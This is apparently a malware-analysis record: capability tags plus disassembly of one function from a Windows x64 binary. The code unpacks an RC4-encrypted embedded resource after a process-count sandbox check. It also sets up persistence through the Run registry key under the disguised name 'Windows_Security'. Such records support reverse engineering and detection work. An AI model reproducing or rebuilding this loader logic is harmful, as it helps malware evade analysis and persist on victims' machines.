Function at 0x140001000
Capabilities:
Enumerate processes
Extract resource via kernel32 functions
Persist via run registry key
Set registry value

Disassembly:
push rbp
push rbx
push r12
push r13
push r14
lea rbp, [rsp - 0x320]
sub rsp, 0x420
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x310], rax
mov r12, rdx
xor ecx, ecx
mov edx, 0x64
lea r8d, [rdx - 0x5a]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x14000137c
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r13d, eax
test eax, eax
je 0x14000137c
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000137c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x14000137c
movups xmm0, xmmword [rax + 0x10]
mov qword [rsp + 0x450], rsi
xor esi, esi
movups xmm1, xmmword [rax + 0x20]
mov qword [rsp + 0x468], r15
movups xmm2, xmmword [rax]
mov qword [rsp + 0x460], rdi
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x60], xmm1
movq r15, xmm2
movups xmm1, xmmword [rax + 0x40]
shr r15, 0x20
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rbp - 0x80], xmm1
movups xmm1, xmmword [rax + 0x60]
movaps xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [rax + 0x70]
movaps xmmword [rbp - 0x60], xmm1
movsd xmm1, qword [rax + 0x80]
movd eax, xmm2
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rbp - 0x50], xmm0
movsd qword [rbp - 0x40], xmm1
test eax, eax
je 0x14000116c
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000116c
xor edx, edx
mov dword [rbp - 0x30], 0x238
mov r8d, 0x234
lea rcx, [rbp - 0x2c]
call fcn.14000e390
lea rdx, [rbp - 0x30]
mov rcx, rdi
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001380
nop word [rax + rax]
lea rdx, [rbp - 0x30]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001150
cmp ebx, 0x28
jle 0x140001380
mov edi, pe_nt_image_headers64
test r15d, r15d
je 0x14000120f
mov r8d, edi
lea rcx, [rbp + 0x210]
xor edx, edx
call fcn.14000e390
mov r8d, edi
lea rdx, [rbp + 0x210]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x14000120f
lea rcx, [rbp + 0x210]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], sil
jne 0x1400011d0
mov rcx, qword [rsp + 0x30]
lea rdx, str.Windows_Security
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rbp + 0x210]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [r13 - 0x88]
mov ecx, eax
mov dword [r12], eax
call fcn.140001470
mov r8d, dword [r12]
lea rdx, [r14 + 0x88]
mov rcx, rax
mov r15, rax
call fcn.14000e750
mov r14d, dword [r12]
lea rcx, [rbp - 0x30]
mov r8, rdi
xor edx, edx
mov ebx, esi
call fcn.14000e390
mov r8, rdi
lea rcx, [rbp + 0x210]
xor edx, edx
call fcn.14000e390
mov edx, esi
nop
mov ecx, edx
mov eax, edx
and eax, 0x7f
mov byte [rbp + rcx + 0x210], dl
inc edx
movzx eax, byte [rsp + rax + 0x48]
mov byte [rbp + rcx - 0x30], al
cmp edx, edi
jl 0x140001260
mov rdx, rsi
movzx eax, byte [rbp + rdx - 0x30]
movzx r8d, byte [rbp + rdx + 0x210]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x1400012a5
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rbp + 0x210]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rbp + rdx + 0x210], al
inc rdx
mov byte [rcx], r8b
sub rdi, 1
jne 0x140001280
mov edx, esi
test r14d, r14d
je 0x140001342
mov r10, r15
mov r11, r14
lea eax, [rsi + 1]
and eax, 0x800000ff
jge 0x1400012e8
dec eax
or eax, 0xffffff00
inc eax
movsxd rsi, eax
lea r8, [rbp + 0x210]
movzx r9d, byte [r8 + rsi]
add edx, r9d
and edx, 0x800000ff
jge 0x14000130c
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rbp + 0x210]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r8 + rsi], al
mov byte [rcx], r9b
movzx eax, byte [r8 + rsi]
add eax, r9d
movzx eax, al
movzx ecx, byte [rbp + rax + 0x210]
xor byte [r10], cl
inc r10
sub r11, 1
jne 0x1400012d5
mov rdi, qword [rsp + 0x460]
mov rax, r15
mov r15, qword [rsp + 0x468]
mov rsi, qword [rsp + 0x450]
mov rcx, qword [rbp + 0x310]
xor rcx, rsp
call fcn.140001450
add rsp, 0x420
pop r14
pop r13
pop r12
pop rbx
pop rbp
ret
xor eax, eax
jmp 0x14000135d
mov ecx, 1
call fcn.140005c38
int3